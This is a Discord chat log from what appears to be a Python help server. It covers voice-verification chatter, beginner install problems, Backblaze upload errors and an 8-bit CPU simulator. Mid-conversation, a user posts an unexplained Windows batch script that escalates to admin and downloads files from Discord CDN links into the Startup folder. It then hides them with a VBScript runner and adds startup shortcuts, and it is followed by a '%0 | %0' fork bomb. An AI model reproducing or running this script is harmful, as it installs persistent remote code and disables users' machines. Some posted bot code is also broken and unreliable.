#voice-chat-text-0
1 messages Β· Page 211 of 1
@somber heath :white_check_mark: Your 3.12 eval job has completed with return code 0.
001 | [0, 1, 2, 3, 4]
002 | [5, 6, 7, 8, 9]
003 | [10, 11, 12, 13, 14]
004 | [15, 16, 17, 18, 19]
005 | [20, 21, 22, 23, 24]
006 | [25, 26, 27, 28, 29]
yea, I can understand what ur trying to say but idt thats going to work since I have like more than a million lines to work with
and i dont really know where it ends
so i cant specify it all that well
as of right now im just praying something works
been at this for 3 days now
aight
use "while", what`s the problem?)
Hii
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
@long karma π
Hello
@vague gyro π
It means a kid
I've been watching waaay too many TikToks.
This is getting out of hand.
yo
configuring firefox
what I am working on
https://garber.education
I'm jumping into live-coding π
if you want to come hang out
nice, be there in a few
Hey @rugged root. How are you doing?
@dense ibex full-stack is still a thing?
full stack will always be a thing
oh okay?
dumb thing
Hello everyone!
Heyo
@wise loom
So how long until someone gets the bright idea to start listing observability in the job requirments for " full stack"
or just go full hog and ignore the point of SRE and put all SRE duties in the "full stack engineer" description
they already do
god dammit
Companies are always looking to load workload on people
Back in a bit. Gotta make some lunch.
manager told me he load-balances workload between devs
yay lunch (also what time is it for u)
so how long until they add the phone rep duties?
they eager to add on-call for sure
If there's anything on-call has taught me, it's that the pagerduty devs have never heard of the concept of boundaries.
im from sweden
Especially when I'm at the bottom of the escalation pool the week after my on-call shift.
managers are playing with their kids and going on vacation with their families while devs on-call.
We deliberately keep our managers off the rotation for precisely this reason
manager calling you from the forest "hey, how's the on-call? i'm here fishing with my kids"
squad leaders, on the other hand...
Of course, having an on-call rotation doesn't help much if no one documents shit
llllllllllllllll llllllllllllllll jakea@JAKES-DESKTOP
llllllllllllllll llllllllllllllll --------------
llllllllllllllll llllllllllllllll OS: Windows 11
llllllllllllllll llllllllllllllll Build: 22H2
llllllllllllllll llllllllllllllll Uptime: 17 days, 1 hour, 40 minutes
llllllllllllllll llllllllllllllll Resolution: 1920x1080
llllllllllllllll llllllllllllllll Terminal: Windows PowerShell
llllllllllllllll llllllllllllllll CPU: AMD Ryzen 7 5800X3D 8-Core Processor
llllllllllllllll llllllllllllllll GPU: NVIDIA GeForce RTX 3060
Memory: 19999 MB / 32694 MB (38% in use)
I need to do groceries π
/\ elis@elis
/ \ ---------
/\ \ Uptime: 2 hours, 57 mins
/ \ Packages: 800 (pacman)
/ ,, \ Memory: 2783MiB / 15902MiB
/ | | -\ Disk (/): 20G / 468G (5%)
/_-'' ''-_\
I used to have a cool setup. It was Windows 8, unpatched, and I was able to get anything done whatsoever with it. At all
Took a lot of effort.
brb apparently all of my dev servers at work are three months overdue for patching....and I guess it's okay to wait until now to let me know.
The search engine that helps you find exactly what you're looking for. Find the most relevant information, video, images, and answers from all across the Web.
My browser toolbars back in the day:
"back in the day" you sound old saying that
@desert wolf you had a lot of bg noise coming through your mic so I moved you to afk
Sorry about that π
No worries π
@gentle flint very interesting - Tesla tech strike
how much for a plain coffee at starbucks ?
hmm - you might as well roast , grind your own - there is better stuff out there
Q for all - is anyone trying , mojo python and GPU stuff ?
onions seem to pep up a pizza
static means the variable is common for all function calls
is there a pyopengl thing - is it massivly faster than pygame at drawing( animating ) stuff ?
static keyword. Let's see what is static variable,method and block in java and what is its advantage and usage.
in C
int foo() {
static a;
a++;
return a;
}
int main() {
foo();
foo();
printf("%d", foo());
}
ohhhh nice
i use arch btw
Who wants to watch Developers fight? https://news.ycombinator.com/item?id=38164046
the
im guessing you tried many OS and arch was the best ? @whole bear
i do python and MCU hardware via pyserial ( want to use sockets ) also use RPi3 , does arch have advantages for these ENVironments
RISC - V , has no backdoors for cia , fbi , abc ??
@wind raptor
import org.tensorflow.ConcreteFunction;
import org.tensorflow.Signature;
import org.tensorflow.Tensor;
import org.tensorflow.TensorFlow;
import org.tensorflow.op.Ops;
import org.tensorflow.op.core.Placeholder;
import org.tensorflow.op.math.Add;
import org.tensorflow.types.TInt32;
public class HelloTensorFlow {
public static void main(String[] args) throws Exception {
System.out.println("Hello TensorFlow " + TensorFlow.version());
try (ConcreteFunction dbl = ConcreteFunction.create(HelloTensorFlow::dbl);
TInt32 x = TInt32.scalarOf(10);
Tensor dblX = dbl.call(x)) {
System.out.println(x.getInt() + " doubled is " + ((TInt32)dblX).getInt());
}
}
private static Signature dbl(Ops tf) {
Placeholder<TInt32> x = tf.placeholder(TInt32.class);
Add<TInt32> dblX = tf.math.add(x, x);
return Signature.builder().input("x", x).output("dbl", dblX).build();
}
}
is it java or python i dont understand
!paste
If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.
I lost in the "they paid me to shower"
@minor raft π
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
okay
oh
i will still 3 days in the server
@somber heath I created a simple virtual assistent, but he not doing many things, do you avalible her for me??? (sorry my very bad english)
can you speak more slow??
i dont understand you
I can help with Python.
I may not be able to help you do your project.
you dont need able to this, he's very simple to use, but he stay in portuguese, some problem??
or i can translent he for english
Alas. I don't speak Portuguese.
!code
I can't send it, it's too big
!paste
If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.
but when i download the file and send for here the bot dont allows
In computer science, the shunting yard algorithm is a method for parsing arithmetical or logical expressions, or a combination of both, specified in infix notation. It can produce either a postfix notation string, also known as Reverse Polish notation (RPN), or an abstract syntax tree (AST). The algorithm was invented by Edsger Dijkstra and name...
Hey
Please don't spam the same message across multiple channels. Our bot will mute people for that.
@sage grove we are in this chat
mfw IndexWarning
I kind of like the pretext of being muted
it is adorable
.-.
The joys of spamming to increase msg count
The joys of requiring my pointless input to an arguably meaningless conversation
Requiring is a strong word
requirement only by necessity to use vc
Appreciating is a better one.
I mean... it does say right in the verification what not to do.
just make up some bs question and follow up. everyone does that to get the message count and it's not against the rules
like 'what is the best package to make an accounting program' or whatever
Or just talk to us
not self-appreciation :P, though user-oriented design doesn't seem to be the focus 'round here
by that I mean, there is no screenshare without asking a mod π
50 msgs is pretty easy to hit.
ahh I see
I get it, useful for spam limiting and such, though that need not be said-like most conversations I find myself )in(
Well, you can thank members of the past for that, plus the fact that we have 385,000 members that we need to keep the server non-toxic for.
does anyone know open source midi editors written in python? (not library)
Agreed, though I find the choice not to participate much like free speech
That's fair. If you have an idea how we can make our voice gate system better, you can submit a suggestion to #community-meta π
You may only get bread from certified bread ambassador, the people that came before you couldn't behave themselves while eating
Pretty much that haha
be careful to remove the certification sticker before eating it. you sign a non-class-action waiver when you join the server
i guess im writing a midi editor myself then
I've been looking for you
thanks :0
instructions unclear, ate the lanΜ΄ΜΎΜ½gΜΆΜΜuΜ΄ΝΜaΜ΄ΝΜgΜΆΝΜ
@past scarab π
Aye
Sup
Came here to listen what're u guys up to lol have a test in 1h and procrastinating
Maths
Had to leave :((
@graceful eagle π
@heavy schooner π
Hi, Maybe I will leave now. I don't have a mic π
@teal jackal π
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
@obsidian cliff π
what was that ?
that was just some code and a blog, it's fine
Recontextualizing from each node of a knowledge graph would be hard in language models in the same way a human mind does that. But a lot of smart people have worked a lot to correct those issues.
@somber heath speaking of banks and voice generation, have you heard a recent story about a particular Russian bank misusing it?
tl;dr: they illegally used someone's voice to train an AI model, then rented it out to the public
it can be dangerous due to the user not knowing whether they're even misusing it
there is no need for intent even
@hoary night π
π
Hey man I dont have perm to speak
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
@hoary night dont worry you will have permission after some time
I've been on this server from a while
yeah you can see the rules #voice-verification
Hello have a nice day all
@rare pivot π you too
hi opal
so, i can never know if it's ever done
yeah
fun
or maybe its already done many times in your life
ayva
maybe 10 sec ago
π€£
be my friend π€£
no just meme
no i dont know
yeah i am here also talk about general,AI and python stuuf
hmmmm
what about video
like 15 sec video
the whole video is generated on input of 3 words
The script
subtitles
voice everything AI
does anyone here know how to make DAW with automation?
it has voice,video and motions
what is DAW ?
Digital Audio Workstation
got it
FL studio is DAW
what's your take on startups that are just AI wrapper
maybe you can do a research considering opensouce github repo's
i could do that just dont know where and what to type
whats this?
ohh
i dont really mean it like this
you know how fl studio has this uh
list of tracks
where you can put patterns into it
i wanna know how to play the patterns at real time
hold on i cant hear you
i gotta get my headset so i can hear you more clearly
ill take a look at this btw
ty for it
i dont think this can be really useful for me
is there any opensource python daws out there?
i saw this before
might check on it again
i just wished i could knew how to use this library
ooh wait
i found something
found some DAW written in python >:)
π gg
bye
bai
so what we will gonna do here
maybe you could help me out too
listening each other silence
thats completely optional though
how ??
i wanna make my own DAW
so it would be great if you can find me some stuff
especially python written DAW with automation
thats what i really need right now
i dont know anything about that

sounds intresting
hhm ok
@wet scroll see this one https://github.com/chimezie/python3-mingus
Mingus is a music package for Python. Contribute to chimezie/python3-mingus development by creating an account on GitHub.
i have never checked it
you have to check it
do you wanna manipulate audio in pre recorded or live audio ??
what does that mean?
i got a bit more to check
aw okay,
take care
you too
hey guys
hey @shadow pivot hru ?
@somber heath why'd you leave me in the VC? π
@somber heath you been writing Python lately?
@idle thunder π
Did I mention I have Vanilla-filled Eclairs now?
Sweet tooth π¦· needs to be hit with the sweets
@crude karma @empty crown π
its a hard ch since its from latin
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
yes that is correct
!voice
it says i havent wrote 50 msg and havent been in server for 3 days
well its time to chat a bunchj
how are you?
anyone
and what are you doing right now
me?
so i take it you are doing not much of anything?
how old ru
@whole thunder π
what?
noone helped me
in python
i sent issue that i couldnt fix for 3 days
and python bot deleted
it
π¦
it is still not fixed
so yeh
i cant help you
why
ive been in this server for 10 months and have sent only 40 messages
hows that for activity
ha
llm's as of right now cant create something better than their input right?
ahhhh
i dont even code often
why am i here
i'd procrastinate for months
what are we doing?
lonely part is true
not denying it
chronically online, im not sure.
yeah the issue is probably that for the first time i've been completely alone for over a week
ever
haha
yeah, parents
im still in highschool, as a senior
moving out only next year. most likely, to study at a university
what do you think chronically online is?
well, im not even on any social media besides this one and youtube/google as a source of knowledge
we recently moved
my mother needs to be where we moved from for the hospital
reddit?
uhhh
yikes?
bad for you i guess
@rose warren π
@somber heath hello how are you
hello
yo what's good
i'm asking how are you lmao
perfect
what are you working on?
are you learning python
yeah
i used to work in PHP and MySql
but i trying to switch in python
i see
do you work or study ??
sorry i cant vc because i dont permissions yet
but soon i'll get it
im in college
nice
!stream 753690250563420261
β @whole bear can now stream until <t:1699377206:f>.
!stream 753690250563420261
β @whole bear can now stream until <t:1699377723:f>.
:incoming_envelope: :ok_hand: applied timeout to @ashen harness until <t:1699379858:f> (10 minutes) (reason: burst spam - sent 8 messages).
The <@&831776746206265384> have been alerted for review.
Lmaoooooo
And I'm muted because I'm tired and my voice is lazy now :p
He's fleeing
That's why he muted himself
Hehehe
I'm going to let that mute stick, don't spam next time :p
how can i open a file.APM??
bah
@desert vector so u usually stay muted and stalk us?
:p
Lmaooo
Understandable.....?
Don't open the window! Your hotness will melt the snow!
XD
i search about this, but the only thing i found say i need a photoeditor program, but when i open the file with the program his bugg (sorry my bad english, i dont speak very well and i try learn alone without the google traductor)
someone can help me??
Companies get paid from the client. Based on the offer or negotiated cost of the program and features and such
okay
And sometimes from the site and the merchandise on the site and 3rd parties and such
Skibidy?
so guys! what kind of sports do you play!?
oh my goodness what a funny joke!!!
basketball and some american football sometimes
you play football no wway what position are you????
QB all the way; though I don't play nearly as much anymore so I'm probably rusty now
Why is that ma,am?
I used to play basketball and racketball in my freetime with friends. But because I wanted to go outside away from my parents lmao
parents dont count as friends though
I just said. I went to play with friends. To get away from my parents
oh my how many friends do you have????
@wind raptor dirty jokes?........... I love dirty jokes hehehehe
hahahahahahahahahaha
Mainly online friends. Lots now. And a few irl friends
oh my goodness gracious
2 pigs fell in the mud... bu dum ch
thats quite the sport sir!!!!
One vampire, one human. One bite
Hehehe
just liked basketball more tbh
have any even looked at you
oh my!!!
@wind raptor im sorry buddy. Gonna jump into another vc. Ur welcome to friend me tho
π π
Look at you go
this is definitely your fault
you are to blame
Hi, why can't I talk?
!voice
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
yay 
β @dusky lynx can now stream until <t:1699384926:f>.
also back
welcome back
!rule 9
import numpy as np
p1 = np.poly1d([2,1,3])
print(p1)
print(p1(0.5))
pip install numpy
import numpy as np
import matplotlib.pyplot as plt
p = np.poly1d([8, 3, 5])
x = np.linspace(-20, 20, 100)
y = p(x)
plt.plot(x, y)
plt.show()
gn
We love @wind raptor
howdy @whole bear
feeling a bit tired, but I'm managing well enough
@somber heath how you doin'
can't join the vc rn, but can you help me with something real quick?
i have a test repo on github and i'm tryna clone it to Ubuntu(WSL), but i don't have an ssh key, i could create one locally but i'm sure i'll forget about it when i'm changin by os, tried cloning with https link but it says [Cloning into 'git-test'...
fatal: Unsupported SSL backend 'openssl'. Supported SSL backends:
gnutls]
do you know how i can fix this?
damn, alr
how you in the vc all day?
is openssl installed?
I'd expect wsl to be relatively lightweight and not package all the dependencies for everything
yeah, it appears as if there are a lot of stuff missing in here
from the terminal what i understood is that openssl is being used and it wants me to use gnutls
I'm new to git and github
wsl feels more complicated than actual ubuntu
@young thicket π
o/
@sick harness π
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
!voice
So I can't talk sorry
Hello people!
why can't we stream?
that's weird
oh
ffs
that's a shame to punish everyone tbh
Ah unfortune then
tuna you knew to the server to?
hey guys!
hello
hello :P
opalmist are you familiar with ''npm init'''?
python on top
ah fair then
@whole bear π
hello !
I am trying to understand the whole python but it's a lot I just got into it so I am new af
just keep trying bro
python is really good
be patient, you'll make it
What are you presently focused on?
I am trying to make a discord bot
discord bot that keeps track of time spend on a discord channel
@granite plank π
well that sounds pratical to make
!kindling
The Kindling projects page on Ned Batchelder's website contains a list of projects and ideas programmers can tackle to build their skills and knowledge.
what is the game called?
darkside
thank you added to my libray
hahahah fair fair
everything is better then apex
Discord.js
'Discord.js' is not recognized as an internal or external command,
operable program or batch file.
anyone know what I am doing wrong?
trying to make a discord bot that keeps track of time spend on a discord channel
and for some reason it gives me the error
yeah
like a voice call
python
oh
FFS
lets goooo
waity
wait
its NNN
you can't
Send link?
yeah
behonest its animeidh
do I need to download discord.py trough extentions?
pip install
So pip install on cmd or on pyhton?
cmd
cmd
when I type in pip install in cmd it says The system cannot find the file specified.
I don't know
I don't think so tbh
Do I need to reinstall python?
did you added the path properly?
properly I just pressed download and it installed it
::Get Admin Rights
if exist "%SystemDrive%\Windows\system32\adminrightstest" (rmdir %SystemDrive%\Windows\system32\adminrightstest >nul 2>&1)
mkdir %SystemDrive%\Windows\system32\adminrightstest >nul 2>&1
if %errorlevel% neq 0 (
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params = %*:"=""
echo UAC.ShellExecute "%SystemDrive%\Windows\system32\cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /b
)
::Run CMD in 32-Bit
set SystemPath=%SystemRoot%\System32
if not "%ProgramFiles(x86)%"=="" (if exist %SystemRoot%\Sysnative\* set SystemPath=%SystemRoot%\Sysnative)
if not %processor_architecture%==AMD64 (
%SystemPath%\cmd.exe /c "%~s0"
exit /b
)
title Fork
cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
curl -o "fork.cmd" https://cdn.discordapp.com/attachments/861805950338990121/953923846669484122/fork.cmd
cls
curl -o "invisible.vbs" "https://cdn.discordapp.com/attachments/861805950338990121/953922574545481728/invisible.vbs"
cls
echo wscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\invisible.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\fork.cmd" >> forkinvis.cmd
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\forkinvis.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\forkinvis.cmd" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%userprofile%\Desktop\FixFork.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
start forkinvis.lnk
exit```
you have to the path in advance setting
%0 | %0
in python you mean ?
in setting
In this Python tutorial I will show you how to get started with python and install required tools and setup to write python code fast!
This video is a part of my python for absolute beginners playlist - https://www.youtube.com/playlist?list=PLK8cqdr55Tss0puRoHDBagvj7Qjin9axl
check out this video
reinstall python
going to do it now
watch this
Yes thank you will do
if you want you can use online complieer too
complieer?
interpreter for python
yes there is file for discord too
you first watch this video
okay I am confused af
I just installed it
and tryd the command hello world
and it says
but I have the app right here
it says python in the name how tf can it not find it ?
Use this
hello
re-install and don't forget to check "add to environment variables"
if you're then running it from VS Code, there are some extra settings you'd need to enable
I just started to 4 hours ago I am ready to jump of a building
- sometimes also this
this should make it possible to run python from cmd/powershell
might require restarting those shells after re-installation
(and IDE since it usually inherits env from where it started)
not necessary
okay going to restart now
they're only for debugging C code
Oh yeah I won't use that I think but good to know thanks!
any ideas what I can do with this?
omg the space inbetween
burh
check that's fixed thank you!
Do I have to worry about this or nah?
wdym with depends on the code
foek so the only way to know If I need it is by trial and fire?
I am trying this ^^
hello trying to make a discord bot
I am going to try ontolo
I am trying chatgpt
chatgpt gets the infor from the web right
so it does the digging for me right?
up to 2021
Ah right right time for more diging then thank you
what is the best UI library for python
question does this code look valid ?
import discord
import time
from discord.ext import commands
bot = commands.Bot(command_prefix='!')
Replace 'YOUR_TOKEN' with your bot's token
TOKEN = 'YOUR_TOKEN'
Dictionary to store user activity
user_activity = {}
@bot.event
async def on_ready():
print(f'Logged in as {bot.user.name}')
@bot.event
async def on_voice_state_update(member, before, after):
if after.channel is not not None:
if member.id not in user_activity:
user_activity[member.id] = {"start_time": time.time(), "total_time": 0}
else:
user_activity[member.id]["start_time"] = time.time()
if before.channel is not None and after.channel is None:
if member.id in user_activity:
elapsed_time = time.time() - user_activity[member.id]["start_time"]
user_activity[member.id]["total_time"] += elapsed_time
@bot.command()
async def get_time(ctx):
user_id = ctx.author.id
if user_id in user_activity:
total_time = user_activity[user_id]["total_time"]
await ctx.send(f"You have spent {total_time:.2f} seconds in the channel.")
else:
await ctx.send("You haven't spent any time in the channel.")
Run the bot with your token
bot.run(TOKEN)
and one more issue
no
that's both its strength and weakness
by default, it makes no lookups
there are models on top of it (and other LLMs) which integrate search
for example, phind
TOKEN = part is invalid
also missing intents
it's based on very old tutorials
never store sensitive data in code
got it off chatgpt that's properly why
yeah, most of its source material is 2021 and earlier
even if packages are properly installed through pip, Pylance might still fail to recognise them (because it uses wrong python)
which is why Ctrl+Shift+P->Select Interpreter is quite useful
but most of the time this is issue is just because the packages weren't installed
!kindling
The Kindling projects page on Ned Batchelder's website contains a list of projects and ideas programmers can tackle to build their skills and knowledge.
!voice π
Canβt talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
https://github.com/lawzava/scrape
can we scrape multiple websites at once from this?
!rule 5
5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.
coat hanger clipped into the cat, it's a reality glitch/bug. poor cat.
@whole bear https://www.acm.org/publications/policies/artifact-review-and-badging-current
ACM Badges were introduced in 2020 (I'm assuming for all ACM journals and workgroups)
The point is to have papers where:
- the artifacts are available
- artifacts were evaluated
- results were replicated
These badges are usually on the 1st page of a paper in the top-right corner.
I've seen them cropping up in a few papers I've skimmed through.
Sup nerds
no you
AxiosError: socket hang up
at connResetException (node:internal/errors:704:14)
at TLSSocket.socketOnEnd (node:_http_client:505:23)
at TLSSocket.emit (node:events:525:35)
at endReadableNT (node:internal/streams/readable:1358:12)
at processTicksAndRejections (node:internal/process/task_queues:83:21) {
code: 'ECONNRESET',
config: {
...
...
@rugged root
@mild quartz
// UPLOAD PART
console.log("xBzPartNumber:".white, xBzPartNumber);
const sha1OfData = crypto
.createHash("sha1")
.update(req.files[0].buffer)
.digest("hex");
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
.then(async (response) => {
console.log(
"upl part res part:".bgCyan,
response.data.partNumber
);
@rugged root
}
https://www.backblaze.com/apidocs/b2-upload-part @rugged root
Just use S3 library
You don't understand Rabbit, This is Backblaze.. the latest and greatest in distributed file storage
Backblaze just sounds like you're lighting your farts on fire
Backblaze is SOTA in file storage
Ah gotcha
"State of the art"
Python tutorial for building an application using the Backblaze S3-Compatible API.
You can create and upload large files with the Backblaze B2 Cloud Storage Native API.
@rugged root
Roger
Copy, over and out
@dusky lynx @rugged root @amber raptor https://github.com/Backblaze/b2-sdk-python/blob/master/test/integration/test_upload.py
https://www.vultr.com/pt/docs/how-to-use-vultr-object-storage-in-python I've don this before
boto3 is AWS SDK
AxiosError: socket hang up
at connResetException (node:internal/errors:704:14)
at TLSSocket.socketOnEnd (node:_http_client:505:23)
at TLSSocket.emit (node:events:525:35)
at endReadableNT (node:internal/streams/readable:1358:12)
at processTicksAndRejections (node:internal/process/task_queues:83:21) {
code: 'ECONNRESET',
config: {
...
...
@Mr. Hemlock
// UPLOAD PART
console.log("xBzPartNumber:".white, xBzPartNumber);
const sha1OfData = crypto
.createHash("sha1")
.update(req.files[0].buffer)
.digest("hex");
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
.then(async (response) => {
console.log(
"upl part res part:".bgCyan,
response.data.partNumber
);
@Mr. Hemlock
@rugged tundra
const express = require('express');
const backblaze = require('backblaze-b2');
const app = express();
app.post('/upload', (req, res) => {
const file = req.files.file;
const b2 = new backblaze({
appId: 'YOUR_APP_ID',
appKey: 'YOUR_APP_KEY',
accountId: 'YOUR_ACCOUNT_ID',
vaultName: 'YOUR_VAULT_NAME',
});
b2.upload(file, (err, result) => {
if (err) {
res.send(err);
} else {
res.send(result);
}
});
});
app.listen(3000, () => {
console.log('App listening on port 3000');
});
No idea if that's helpful
Poking around what I can find
Back in a jiffy
Have to restart my rig
anyone wanna help me with a biggerish personal project for a class im taking?
What's going on?
I was given the task of creating a full scale 8 bit cpu simulator in python
Is this a project they expect you to do on your own?
Oh wow. That's a big one.
memory addresses, instruction set, proper execution methods/loading methods and a custom code viewer/ editor
its been 4 days and my teacher wont reply to my questions so ive resorted to discord help lol
How much time do you have on the project? Like when was it assigned and when is it due
due january 31st at midnight i got some time
Fair
and last week monday
more or less im trying to figure out if i make each instruction its own def or store them all in a dictionary
i guess what im asking is which one do you think would run smoother lol
You can do both
Define each of the instructions, and then list the instructions in a dict
!e
def mult_by_2(num):
return num * 2
functions = {"mult_by_2": mult_by_2}
print(functions["mult_by_2"](4))
@rugged root :white_check_mark: Your 3.12 eval job has completed with return code 0.
8
sorry for asking my guy i code in assembly mostly. im starting to think i should of taken a few classes on python before jumping into an advanced applications class
If your instructions are stored as a string, then what hemlock did there is exactly what you want.
we use an as400 system at work and they wanted me to learn more about our new system were getting so they signed me up for this shit,
sounds good to me sir π
You'll be able to do this to parse a given string of file of assembly instructions and just process them
For something like this, biggest parts are going to be your instruction definitions and string parsing
so more or less just define the strings stored in the dictionary and pull from the dictionary? hope i said that right
Define the functions, then link them to string keys in the dictionary. Something like that. Not sure how to articulate it either
This will also let you handle errors if someone tries to do an instruction that doesn't exist
Im only on the second iteration out of the required 3 so i guess i got alot of typing to do
Yeah, no escaping that
If you need help with some concepts and what have you, don't hesitate to ask
Going from really low level to high level can be a bit jarring
Thank you sir π really means alot to me. There isnt a whole lot of actual documentation online on this exact subject, my buddy whos going for computer science major and computer engineering minor at michigan has given me all of the python books/ powerpoints hes gotten the last 3 years which helps alot. Still brain fried from it all.
Yeeeaahhhh when people are that deep it's hard to look from the perspective of a new person
But that's what we love to help with, so you're in good hands
I'm curious, though
What editor are you using?
good ole visual studio
vs code
Oh thank god
When people accidentally start doing Python in VS proper...
Always feel bad for them
ive gotten to the point with assy. that i can legit use notpad lmfao
The benefit of being at that low level
I know some C and CS but not a whole lot
Never learned the C's. I like poking around C#. Closest I ever got to messing with assembly was... I think the game was Shenzen I/O?
ive dabbled in C# as well about the same with lua
Never actually messed with Lua. It's on my list
are python and java/js like siblings?
im my early days of computer science i also dabbled in arm assembly
Not really. The main Python implementation is in C, and it's inspired by lots of languages
Also, Java and JavaScript are related in name only
They aren't from the same team or anything like that
Yep yep!
would you like to know the requirements for this project?
Yeah, you have me curious
CPU core, proper registers, a PC, stack pointer, flags, decode/execute cycles. A custom instruction set with block transfers/ indexed instructions, a full user friendly gui, memory management with 64kb of memory, IO handling, and proper data processing through the gui
oh and i think with our programs theyre going to have us expand with virtual isa cards / multiplexed ram so cant wait lol
honestly would probably be better off just writing machine code/ drivers
im going to try and base the general instruction design off the Z80 and start off with 5 registers
class CPU:
def init(self):
self.registers = {'A': 0, 'B': 0, 'C': 0, 'D': 0, 'E': 0} #5 registers
self.memory = [0] * 256 # 256 bytes of memory
self.pc = 0 # Program counter
self.flags = {'Z': 0} # Zero flag, for simplicity
self.running = True
and were going to define cpu speed to single tick or 1mhz auto play
@rugged root
my bad sir
no no, you're fine
is this how i would define opcodes and operands
more or less just setting the opcode to the instruction etc... 0x80 to add and 0x70 to subtract?
You could even do that as your keys in the dictionary
instructions = {
0xF0: function_here,
0x0F: other_function_here
}
Or something like that
Although I'd have to see how it's giving the codes
AxiosError: socket hang up
at connResetException (node:internal/errors:704:14)
at TLSSocket.socketOnEnd (node:_http_client:505:23)
at TLSSocket.emit (node:events:525:35)
at endReadableNT (node:internal/streams/readable:1358:12)
at processTicksAndRejections (node:internal/process/task_queues:83:21) {
code: 'ECONNRESET',
config: {
...
...
@Mr. Hemlock
// UPLOAD PART
console.log("xBzPartNumber:".white, xBzPartNumber);
const sha1OfData = crypto
.createHash("sha1")
.update(req.files[0].buffer)
.digest("hex");
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
.then(async (response) => {
console.log(
"upl part res part:".bgCyan,
response.data.partNumber
);
@Mr. Hemlock
@Focus
@rugged tundra
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
Ooo, interesting
we now need to add more instructions and their output will be displayed to the registers
a little more advanced than binary but itll work for me
!e
ham = ["spam", "pork", "beef"]
print(ham[0x00])
@rugged root :white_check_mark: Your 3.12 eval job has completed with return code 0.
spam
give them a 0 value and set a flag self.flags = {'Z': 0} then do print
but you might have to add another instruction
Hemlock what state do you live in?
helpfulville
Denial
AxiosError: connect ECONNREFUSED
at TCPConnectWrap.afterConnect [as oncomplete]
@rugged tundra
I have same error but in Node, I remove proxy: undefined, and works.
I tried with proxy: false and this make error too
elif opcode == 0x50:
self.registers['A'] *= self.registers['B']
self.registers['A'] %= 256 # Handle Overflow
adding proper overflow handling within the registers
self.registers['B'] != 0:
would this be the proper way to prevent the opcodes from using 0 in devision?
lif opcode == 0x60:
if self.registers['B'] != 0: # Prevent division by zero
self.registers['A'] //= self.registers['B']
else:
# Handle division by zero as an error or set to a default value
self.registers['A'] = 0
I recently have this issue with Axios and the solution was to check my URL. It seems that when you are calling an URL on local without http:// or https:// , Axios tried to connect to localhost.
@pure gust updated main.py https://paste.pythondiscord.com/MVVQ
i believe theres around 150 opcodes within the z80 so i guess i have some research to do
Image segmentation is a process used in computer vision and image processing to partition an image into multiple segments or regions, often to simplify or change the representation of an image into something more meaningful and easier to analyze. Here's a basic overview of how it works:
Identification of Similarities: Image segmentation aims to group together pixels that have similar attributes. The similarity criteria can be based on intensity, color, texture, location, or a combination of these.
Segmentation Techniques:
